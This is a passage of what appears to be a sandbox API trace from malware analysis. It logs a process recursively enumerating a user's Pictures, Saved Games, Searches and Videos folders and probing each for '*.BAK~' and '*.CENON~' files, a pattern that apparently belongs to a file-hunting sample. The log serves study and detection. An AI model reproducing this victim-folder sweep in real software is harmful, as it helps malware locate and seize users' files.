lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.108] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.108] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.109] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.109] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.110] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.110] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.110] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.110] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.115] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.115] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.116] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.116] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.117] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.117] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.117] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.117] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.117] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.117] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0112.123] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.124] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.124] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\59v6TCkS3AJcd\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.125] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.125] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.125] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.125] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.125] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.125] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.125] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.126] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.126] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.126] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0112.131] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.131] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.132] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.132] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.132] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.132] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.132] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.133] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.133] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0112.137] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.137] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.138] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.138] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.139] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0112.139] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0112.139] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0112.139] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0112.144] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.144] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.145] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.145] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.145] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0112.145] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0112.146] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0112.146] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0112.146] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0112.146] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0112.152] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.152] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.153] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\ml9wxw\\jsNn\\HIE4mlfqKskb\\KM-VZHaomjBXvfepR\\*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.153] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.154] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0112.154] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0112.154] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0112.154] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0112.154] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 0 [0112.159] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.160] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.160] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EWbrVeDTyXdBkGx\\0GCl4uVxFO\\piJ6\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.161] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.161] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.161] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.161] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.161] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.161] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.161] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.161] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.162] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.162] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.162] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0112.165] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\R1Cc35IEljWXcM\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.165] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.167] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\R1Cc35IEljWXcM\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.167] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.168] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.168] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.168] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.191] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.191] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.192] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.192] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.192] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.192] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.192] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.424] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.425] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.460] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.460] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.485] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.485] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.485] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.485] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.485] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.500] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.501] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.501] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.502] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.503] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.503] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.503] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.508] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.508] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.509] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.509] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.515] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.515] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.516] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.516] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.523] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.524] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.524] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.525] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.525] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.525] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.525] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.525] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.525] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.525] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.526] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.526] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.526] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.526] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.531] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.532] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.532] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\HCIo7hd2D_NZf\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.533] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.533] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0112.539] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All 